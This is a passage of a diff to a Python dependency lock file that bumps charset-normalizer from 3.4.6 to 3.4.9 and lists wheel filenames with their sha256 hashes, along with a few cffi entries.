"cffi-2.1.1-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:7da0c5eff80f0197f3b3d1232ec5a682a9325f4ae9016a78f5f5ca35f9ced1f5"}, + {file = "cffi-2.1.1-cp315-cp315t-win32.whl", hash = "sha256:06c72bb76605a4b0cd0aad6930b69d4baf7dd5d806cfc409b824191099700e66"}, + {file = "cffi-2.1.1-cp315-cp315t-win_amd64.whl", hash = "sha256:d9c275eaacd24aa73f94ffd6de08fc3f932424d8b6c376f4bed7cde376fe7bc3"}, + {file = "cffi-2.1.1-cp315-cp315t-win_arm64.whl", hash = "sha256:d18e5ac0f2f03f4f518d3e23db0f0cad7faa1da8620e9c09461d443bbf6e6692"}, + {file = "cffi-2.1.1.tar.gz", hash = "sha256:dd31f52ea1086513bb9df30f8fcee9b8918323ae067a3d5b78bc826a000712be"}, ] [package.dependencies] @@ -646,153 +627,117 @@ pycparser = {version = "*", markers = "implementation_name != \"PyPy\""} [[package]] name = "charset-normalizer" -version = "3.4.6" +version = "3.4.9" description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." optional = false python-versions = ">=3.7" groups = ["main"] files = [ - {file = "charset_normalizer-3.4.6-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:2e1d8ca8611099001949d1cdfaefc510cf0f212484fe7c565f735b68c78c3c95"}, - {file = "charset_normalizer-3.4.6-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e25369dc110d58ddf29b949377a93e0716d72a24f62bad72b2b39f155949c1fd"}, - {file = "charset_normalizer-3.4.6-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:259695e2ccc253feb2a016303543d691825e920917e31f894ca1a687982b1de4"}, - {file = "charset_normalizer-3.4.6-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:dda86aba335c902b6149a02a55b38e96287157e609200811837678214ba2b1db"}, - {file = "charset_normalizer-3.4.6-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:51fb3c322c81d20567019778cb5a4a6f2dc1c200b886bc0d636238e364848c89"}, - {file = "charset_normalizer-3.4.6-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:4482481cb0572180b6fd976a4d5c72a30263e98564da68b86ec91f0fe35e8565"}, - {file = "charset_normalizer-3.4.6-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:39f5068d35621da2881271e5c3205125cc456f54e9030d3f723288c873a71bf9"}, - {file = "charset_normalizer-3.4.6-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:8bea55c4eef25b0b19a0337dc4e3f9a15b00d569c77211fa8cde38684f234fb7"}, - {file = "charset_normalizer-3.4.6-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:f0cdaecd4c953bfae0b6bb64910aaaca5a424ad9c72d85cb88417bb9814f7550"}, - {file = "charset_normalizer-3.4.6-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:150b8ce8e830eb7ccb029ec9ca36022f756986aaaa7956aad6d9ec90089338c0"}, - {file = "charset_normalizer-3.4.6-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:e68c14b04827dd76dcbd1aeea9e604e3e4b78322d8faf2f8132c7138efa340a8"}, - {file = "charset_normalizer-3.4.6-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:3778fd7d7cd04ae8f54651f4a7a0bd6e39a0cf20f801720a4c21d80e9b7ad6b0"}, - {file = "charset_normalizer-3.4.6-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:dad6e0f2e481fffdcf776d10ebee25e0ef89f16d691f1e5dee4b586375fdc64b"}, - {file = "charset_normalizer-3.4.6-cp310-cp310-win32.whl", hash = "sha256:74a2e659c7ecbc73562e2a15e05039f1e22c75b7c7618b4b574a3ea9118d1557"}, - {file = "charset_normalizer-3.4.6-cp310-cp310-win_amd64.whl", hash = "sha256:aa9cccf4a44b9b62d8ba8b4dd06c649ba683e4bf04eea606d2e94cfc2d6ff4d6"}, - {file = "charset_normalizer-3.4.6-cp310-cp310-win_arm64.whl", hash = "sha256:e985a16ff513596f217cee86c21371b8cd011c0f6f056d0920aa2d926c544058"}, - {file = "charset_normalizer-3.4.6-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:82060f995ab5003a2d6e0f4ad29065b7672b6593c8c63559beefe5b443242c3e"}, - {file = "charset_normalizer-3.4.6-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:60c74963d8350241a79cb8feea80e54d518f72c26db618862a8f53e5023deaf9"}, - {file = "charset_normalizer-3.4.6-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f6e4333fb15c83f7d1482a76d45a0818897b3d33f00efd215528ff7c51b8e35d"}, - {file = "charset_normalizer-3.4.6-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:bc72863f4d9aba2e8fd9085e63548a324ba706d2ea2c83b260da08a59b9482de"}, - {file = "charset_normalizer-3.4.6-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9cc4fc6c196d6a8b76629a70ddfcd4635a6898756e2d9cac5565cf0654605d73"}, - {file = "charset_normalizer-3.4.6-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:0c173ce3a681f309f31b87125fecec7a5d1347261ea11ebbb856fa6006b23c8c"}, - {file = "charset_normalizer-3.4.6-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c907cdc8109f6c619e6254212e794d6548373cc40e1ec75e6e3823d9135d29cc"}, - {file = "charset_normalizer-3.4.6-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:404a1e552cf5b675a87f0651f8b79f5f1e6fd100ee88dc612f89aa16abd4486f"}, - {file = "charset_normalizer-3.4.6-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:e3c701e954abf6fc03a49f7c579cc80c2c6cc52525340ca3186c41d3f33482ef"}, - {file = "charset_normalizer-3.4.6-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:7a6967aaf043bceabab5412ed6bd6bd26603dae84d5cb75bf8d9a74a4959d398"}, - {file = "charset_normalizer-3.4.6-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:5feb91325bbceade6afab43eb3b508c63ee53579fe896c77137ded51c6b6958e"}, - {file = "charset_normalizer-3.4.6-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:f820f24b09e3e779fe84c3c456cb4108a7aa639b0d1f02c28046e11bfcd088ed"}, - {file = "charset_normalizer-3.4.6-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:b35b200d6a71b9839a46b9b7fff66b6638bb52fc9658aa58796b0326595d3021"}, - {file = "charset_normalizer-3.4.6-cp311-cp311-win32.whl", hash = "sha256:9ca4c0b502ab399ef89248a2c84c54954f77a070f28e546a85e91da627d1301e"}, - {file = "charset_normalizer-3.4.6-cp311-cp311-win_amd64.whl", hash = "sha256:a9e68c9d88823b274cf1e72f28cb5dc89c990edf430b0bfd3e2fb0785bfeabf4"}, - {file = "charset_normalizer-3.4.6-cp311-cp311-win_arm64.whl", hash = "sha256:97d0235baafca5f2b09cf332cc275f021e694e8362c6bb9c96fc9a0eb74fc316"}, - {file = "charset_normalizer-3.4.6-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:2ef7fedc7a6ecbe99969cd09632516738a97eeb8bd7258bf8a0f23114c057dab"}, - {file = "charset_normalizer-3.4.6-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a4ea868bc28109052790eb2b52a9ab33f3aa7adc02f96673526ff47419490e21"}, - {file = "charset_normalizer-3.4.6-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:836ab36280f21fc1a03c99cd05c6b7af70d2697e374c7af0b61ed271401a72a2"}, - {file = "charset_normalizer-3.4.6-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f1ce721c8a7dfec21fcbdfe04e8f68174183cf4e8188e0645e92aa23985c57ff"}, - {file = "charset_normalizer-3.4.6-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0e28d62a8fc7a1fa411c43bd65e346f3bce9716dc51b897fbe930c5987b402d5"}, - {file = "charset_normalizer-3.4.6-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:530d548084c4a9f7a16ed4a294d459b4f229db50df689bfe92027452452943a0"}, - {file = "charset_normalizer-3.4.6-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:30f445ae60aad5e1f8bdbb3108e39f6fbc09f4ea16c815c66578878325f8f15a"}, - {file = "charset_normalizer-3.4.6-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:ac2393c73378fea4e52aa56285a3d64be50f1a12395afef9cce47772f60334c2"}, - {file = "charset_normalizer-3.4.6-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:90ca27cd8da8118b18a52d5f547859cc1f8354a00cd1e8e5120df3e30d6279e5"}, - {file = "charset_normalizer-3.4.6-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:8e5a94886bedca0f9b78fecd6afb6629142fd2605aa70a125d49f4edc6037ee6"}, - {file = "charset_normalizer-3.4.6-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:695f5c2823691a25f17bc5d5ffe79fa90972cc34b002ac6c843bb8a1720e950d"}, - {file = "charset_normalizer-3.4.6-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:231d4da14bcd9301310faf492051bee27df11f2bc7549bc0bb41fef11b82daa2"}, - {file = "charset_normalizer-3.4.6-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:a056d1ad2633548ca18ffa2f85c202cfb48b68615129143915b8dc72a806a923"}, - {file = "charset_normalizer-3.4.6-cp312-cp312-win32.whl", hash = "sha256:c2274ca724536f173122f36c98ce188fd24ce3dad886ec2b7af859518ce008a4"}, - {file = "charset_normalizer-3.4.6-cp312-cp312-win_amd64.whl", hash = "sha256:c8ae56368f8cc97c7e40a7ee18e1cedaf8e780cd8bc5ed5ac8b81f238614facb"}, - {file = "charset_normalizer-3.4.6-cp312-cp312-win_arm64.whl", hash = "sha256:899d28f422116b08be5118ef350c292b36fc15ec2daeb9ea987c89281c7bb5c4"}, - {file = "charset_normalizer-3.4.6-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:11afb56037cbc4b1555a34dd69151e8e069bee82e613a73bef6e714ce733585f"}, - {file = "charset_normalizer-3.4.6-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:423fb7e748a08f854a08a222b983f4df1912b1daedce51a72bd24fe8f26a1843"}, - {file = "charset_normalizer-3.4.6-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d73beaac5e90173ac3deb9928a74763a6d230f494e4bfb422c217a0ad8e629bf"}, - {file = "charset_normalizer-3.4.6-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d60377dce4511655582e300dc1e5a5f24ba0cb229005a1d5c8d0cb72bb758ab8"}, - {file = "charset_normalizer-3.4.6-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:530e8cebeea0d76bdcf93357aa5e41336f48c3dc709ac52da2bb167c5b8271d9"}, - {file = "charset_normalizer-3.4.6-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:a26611d9987b230566f24a0a125f17fe0de6a6aff9f25c9f564aaa2721a5fb88"}, - {file = "charset_normalizer-3.4.6-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:34315ff4fc374b285ad7f4a0bf7dcbfe769e1b104230d40f49f700d4ab6bbd84"}, - {file = "charset_normalizer-3.4.6-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:5f8ddd609f9e1af8c7bd6e2aca279c931aefecd148a14402d4e368f3171769fd"}, - {file = "charset_normalizer-3.4.6-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:80d0a5615143c0b3225e5e3ef22c8d5d51f3f72ce0ea6fb84c943546c7b25b6c"}, - {file = "charset_normalizer-3.4.6-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:92734d4d8d187a354a556626c221cd1a892a4e0802ccb2af432a1d85ec012194"}, - {file = "charset_normalizer-3.4.6-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:613f19aa6e082cf96e17e3ffd89383343d0d589abda756b7764cf78361fd41dc"}, - {file = "charset_normalizer-3.4.6-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:2b1a63e8224e401cafe7739f77efd3f9e7f5f2026bda4aead8e59afab537784f"}, - {file = "charset_normalizer-3.4.6-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6cceb5473417d28edd20c6c984ab6fee6c6267d38d906823ebfe20b03d607dc2"}, - {file = "charset_normalizer-3.4.6-cp313-cp313-win32.whl", hash = "sha256:d7de2637729c67d67cf87614b566626057e95c303bc0a55ffe391f5205e7003d"}, - {file = "charset_normalizer-3.4.6-cp313-cp313-win_amd64.whl", hash = "sha256:572d7c822caf521f0525ba1bce1a622a0b85cf47ffbdae6c9c19e3b5ac3c4389"}, - {file = "charset_normalizer-3.4.6-cp313-cp313-win_arm64.whl", hash = "sha256:a4474d924a47185a06411e0064b803c68be044be2d60e50e8bddcc2649957c1f"}, - {file = "charset_normalizer-3.4.6-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:9cc6e6d9e571d2f863fa77700701dae73ed5f78881efc8b3f9a4398772ff53e8"}, - {file = "charset_normalizer-3.4.6-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ef5960d965e67165d75b7c7ffc60a83ec5abfc5c11b764ec13ea54fbef8b4421"}, - {file = "charset_normalizer-3.4.6-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b3694e3f87f8ac7ce279d4355645b3c878d24d1424581b46282f24b92f5a4ae2"}, - {file = "charset_normalizer-3.4.6-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5d11595abf8dd942a77883a39d81433739b287b6aa71620f15164f8096221b30"}, - {file = "charset_normalizer-3.4.6-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7bda6eebafd42133efdca535b04ccb338ab29467b3f7bf79569883676fc628db"}, - {file = "charset_normalizer-3.4.6-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:bbc8c8650c6e51041ad1be191742b8b421d05bbd3410f43fa2a00c8db87678e8"}, - {file = "charset_normalizer-3.4.6-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:22c6f0c2fbc31e76c3b8a86fba1a56eda6166e238c29cdd3d14befdb4a4e4815"}, - {file = "charset_normalizer-3.4.6-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7edbed096e4a4798710ed6bc75dcaa2a21b68b6c356553ac4823c3658d53743a"}, - {file = "charset_normalizer-3.4.6-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:7f9019c9cb613f084481bd6a100b12e1547cf2efe362d873c2e31e4035a6fa43"}, - {file = "charset_normalizer-3.4.6-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:58c948d0d086229efc484fe2f30c2d382c86720f55cd9bc33591774348ad44e0"}, - {file = "charset_normalizer-3.4.6-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:419a9d91bd238052642a51938af8ac05da5b3343becde08d5cdeab9046df9ee1"}, - {file = "charset_normalizer-3.4.6-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:5273b9f0b5835ff0350c0828faea623c68bfa65b792720c453e22b25cc72930f"}, - {file = "charset_normalizer-3.4.6-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:0e901eb1049fdb80f5bd11ed5ea1e498ec423102f7a9b9e4645d5b8204ff2815"}, - {file = "charset_normalizer-3.4.6-cp314-cp314-win32.whl", hash = "sha256:b4ff1d35e8c5bd078be89349b6f3a845128e685e751b6ea1169cf2160b344c4d"}, - {file = "charset_normalizer-3.4.6-cp314-cp314-win_amd64.whl", hash = "sha256:74119174722c4349af9708993118581686f343adc1c8c9c007d59be90d077f3f"}, - {file = "charset_normalizer-3.4.6-cp314-cp314-win_arm64.whl", hash = "sha256:e5bcc1a1ae744e0bb59641171ae53743760130600da8db48cbb6e4918e186e4e"}, - {file = "charset_normalizer-3.4.6-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:ad8faf8df23f0378c6d527d8b0b15ea4a2e23c89376877c598c4870d1b2c7866"}, - {file = "charset_normalizer-3.4.6-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f5ea69428fa1b49573eef0cc44a1d43bebd45ad0c611eb7d7eac760c7ae771bc"}, - {file = "charset_normalizer-3.4.6-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:06a7e86163334edfc5d20fe104db92fcd666e5a5df0977cb5680a506fe26cc8e"}, - {file = "charset_normalizer-3.4.6-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:e1f6e2f00a6b8edb562826e4632e26d063ac10307e80f7461f7de3ad8ef3f077"}, - {file = "charset_normalizer-3.4.6-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:95b52c68d64c1878818687a473a10547b3292e82b6f6fe483808fb1468e2f52f"}, - {file = "charset_normalizer-3.4.6-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:7504e9b7dc05f99a9bbb4525c67a2c155073b44d720470a148b34166a69c054e"}, - {file = "charset_normalizer-3.4.6-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:172985e4ff804a7ad08eebec0a1640ece87ba5041d565fff23c8f99c1f389484"}, - {file = "charset_normalizer-3.4.6-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:4be9f4830ba8741527693848403e2c457c16e499100963ec711b1c6f2049b7c7"}, - {file = "charset_normalizer-3.4.6-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:79090741d842f564b1b2827c0b82d846405b744d31e84f18d7a7b41c20e473ff"}, - {file = "charset_normalizer-3.4.6-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:87725cfb1a4f1f8c2fc9890ae2f42094120f4b44db9360be5d99a4c6b0e03a9e"}, - {file = "charset_normalizer-3.4.6-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:fcce033e4021347d80ed9c66dcf1e7b1546319834b74445f561d2e2221de5659"}, - {file = "charset_normalizer-3.4.6-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:ca0276464d148c72defa8bb4390cce01b4a0e425f3b50d1435aa6d7a18107602"}, - {file = "charset_normalizer-3.4.6-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:197c1a244a274bb016dd8b79204850144ef77fe81c5b797dc389327adb552407"}, - {file = "charset_normalizer-3.4.6-cp314-cp314t-win32.whl", hash = "sha256:2a24157fa36980478dd1770b585c0f30d19e18f4fb0c47c13aa568f871718579"}, - {file = "charset_normalizer-3.4.6-cp314-cp314t-win_amd64.whl", hash = "sha256:cd5e2801c89992ed8c0a3f0293ae83c159a60d9a5d685005383ef4caca77f2c4"}, - {file = "charset_normalizer-3.4.6-cp314-cp314t-win_arm64.whl", hash = "sha256:47955475ac79cc504ef2704b192364e51d0d473ad452caedd0002605f780101c"}, - {file = "charset_normalizer-3.4.6-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:659a1e1b500fac8f2779dd9e1570464e012f43e580371470b45277a27baa7532"}, - {file = "charset_normalizer-3.4.6-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f61aa92e4aad0be58eb6eb4e0c21acf32cf8065f4b2cae5665da756c4ceef982"}, - {file = "charset_normalizer-3.4.6-cp38-cp38-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f50498891691e0864dc3da965f340fada0771f6142a378083dc4608f4ea513e2"}, - {file = "charset_normalizer-3.4.6-cp38-cp38-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:bf625105bb9eef28a56a943fec8c8a98aeb80e7d7db99bd3c388137e6eb2d237"}, - {file = "charset_normalizer-3.4.6-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2bd9d128ef93637a5d7a6af25363cf5dec3fa21cf80e68055aad627f280e8afa"}, - {file = "charset_normalizer-3.4.6-cp38-cp38-manylinux_2_31_armv7l.whl", hash = "sha256:d08ec48f0a1c48d75d0356cea971921848fb620fdeba805b28f937e90691209f"}, - {file = "charset_normalizer-3.4.6-cp38-cp38-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:1ed80ff870ca6de33f4d953fda4d55654b9a2b340ff39ab32fa3adbcd718f264"}, - {file = "charset_normalizer-3.4.6-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:f98059e4fcd3e3e4e2d632b7cf81c2faae96c43c60b569e9c621468082f1d104"}, - {file = "charset_normalizer-3.4.6-cp38-cp38-musllinux_1_2_armv7l.whl", hash = "sha256:ab30e5e3e706e3063bc6de96b118688cb10396b70bb9864a430f67df98c61ecc"}, - {file = "charset_normalizer-3.4.6-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:d5f5d1e9def3405f60e3ca8232d56f35c98fb7bf581efcc60051ebf53cb8b611"}, - {file = "charset_normalizer-3.4.6-cp38-cp38-musllinux_1_2_riscv64.whl", hash = "sha256:461598cd852bfa5a61b09cae2b1c02e2efcd166ee5516e243d540ac24bfa68a7"}, - {file = "charset_normalizer-3.4.6-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:71be7e0e01753a89cf024abf7ecb6bca2c81738ead80d43004d9b5e3f1244e64"}, - {file = "charset_normalizer-3.4.6-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:df01808ee470038c3f8dc4f48620df7225c49c2d6639e38f96e6d6ac6e6f7b0e"}, - {file = "charset_normalizer-3.4.6-cp38-cp38-win32.whl", hash = "sha256:69dd852c2f0ad631b8b60cfbe25a28c0058a894de5abb566619c205ce0550eae"}, - {file = "charset_normalizer-3.4.6-cp38-cp38-win_amd64.whl", hash = "sha256:517ad0e93394ac532745129ceabdf2696b609ec9f87863d337140317ebce1c14"}, - {file = "charset_normalizer-3.4.6-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:31215157227939b4fb3d740cd23fe27be0439afef67b785a1eb78a3ae69cba9e"}, - {file = "charset_normalizer-3.4.6-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ecbbd45615a6885fe3240eb9db73b9e62518b611850fdf8ab08bd56de7ad2b17"}, - {file = "charset_normalizer-3.4.6-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c45a03a4c69820a399f1dda9e1d8fbf3562eda46e7720458180302021b08f778"}, - {file = "charset_normalizer-3.4.6-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:e8aeb10fcbe92767f0fa69ad5a72deca50d0dca07fbde97848997d778a50c9fe"}, - {file = "charset_normalizer-3.4.6-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:54fae94be3d75f3e573c9a1b5402dc593de19377013c9a0e4285e3d402dd3a2a"}, - {file = "charset_normalizer-3.4.6-cp39-cp39-manylinux_2_31_armv7l.whl", hash = "sha256:2f7fdd9b6e6c529d6a2501a2d36b240109e78a8ceaef5687cfcfa2bbe671d297"}, - {file = "charset_normalizer-3.4.6-cp39-cp39-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:4d1d02209e06550bdaef34af58e041ad71b88e624f5d825519da3a3308e22687"}, - {file = "charset_normalizer-3.4.6-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:8bc5f0687d796c05b1e28ab0d38a50e6309906ee09375dd3aff6a9c09dd6e8f4"}, - {file = "charset_normalizer-3.4.6-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:ee4ec14bc1680d6b0afab9aea2ef27e26d2024f18b24a2d7155a52b60da7e833"}, - {file = "charset_normalizer-3.4.6-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:d1a2ee9c1499fc8f86f4521f27a973c914b211ffa87322f4ee33bb35392da2c5"}, - {file = "charset_normalizer-3.4.6-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:48696db7f18afb80a068821504296eb0787d9ce239b91ca15059d1d3eaacf13b"}, - {file = "charset_normalizer-3.4.6-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:4f41da960b196ea355357285ad1316a00099f22d0929fe168343b99b254729c9"}, - {file = "charset_normalizer-3.4.6-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:802168e03fba8bbc5ce0d866d589e4b1ca751d06edee69f7f3a19c5a9fe6b597"}, - {file = "charset_normalizer-3.4.6-cp39-cp39-win32.whl", hash = "sha256:8761ac29b6c81574724322a554605608a9960769ea83d2c73e396f3df896ad54"}, - {file = "charset_normalizer-3.4.6-cp39-cp39-win_amd64.whl", hash = "sha256:1cf0a70018692f85172348fe06d3a4b63f94ecb055e13a00c644d368eb82e5b8"}, - {file = "charset_normalizer-3.4.6-cp39-cp39-win_arm64.whl", hash = "sha256:3516bbb8d42169de9e61b8520cbeeeb716f12f4ecfe3fd30a9919aa16c806ca8"}, - {file = "charset_normalizer-3.4.6-py3-none-any.whl", hash = "sha256:947cf925bc916d90adba35a64c82aace04fa39b46b52d4630ece166655905a69"}, - {file = "charset_normalizer-3.4.6.tar.gz", hash = "sha256:1ae6b62897110aa7c79ea2f5dd38d1abca6db663687c0b1ad9aed6f6bae3d9d6"}, + {file = "charset_normalizer-3.4.9-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:cd6280cf040f233bd7d3407b743b4b4c74f70e8e1c4199cb112a62c941c0772a"}, + {file = "charset_normalizer-3.4.9-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:aa99adc8f081b475a12843953db36831eaf83ec33eb46a90629ca6a5de45a616"}, + {file = "charset_normalizer-3.4.9-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c1225416b463483160e4af85d5fc3a9690ccb53fd4b1865a6437825f5ede3209"}, + {file = "charset_normalizer-3.4.9-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:16d10d789dd9bcca1173c95af82c58433122564b7bc39385124be735a35cbe99"}, + {file = "charset_normalizer-3.4.9-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9bb41182d93ea91f60b4bc8fbf4c820c69ef8a12ab2d917f3f1834f1acad07e8"}, + {file = "charset_normalizer-3.4.9-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:bcf74c1df76758a395bf0af608c04c82257523f55c9868b334f06270d0f2112b"}, + {file = "charset_normalizer-3.4.9-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b5314963fce9b0b12743891de876e724997864ee22aa496f903f426c7e2fa5b2"}, + {file = "charset_normalizer-3.4.9-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:e9701d0049d92c16703a42771b98d560b95248949f23f8cf7b4eddd201814fb9"}, + {file = "charset_normalizer-3.4.9-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:65a7ff3f705e57d392f7261b6d0550fe137c3019477431f1c355e0db0a7d3e15"}, + {file = "charset_normalizer-3.4.9-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:79580094b00d1789d1f93ea55bc43cb2f611910c72235b7657f3482ddcc1b22d"}, + {file = "charset_normalizer-3.4.9-cp310-cp310-win32.whl", hash = "sha256:432786d3561e69aeeae6c7e8648964ce0ad05736120135601f87ac26b9c83381"}, + {file = "charset_normalizer-3.4.9-cp310-cp310-win_amd64.whl", hash = 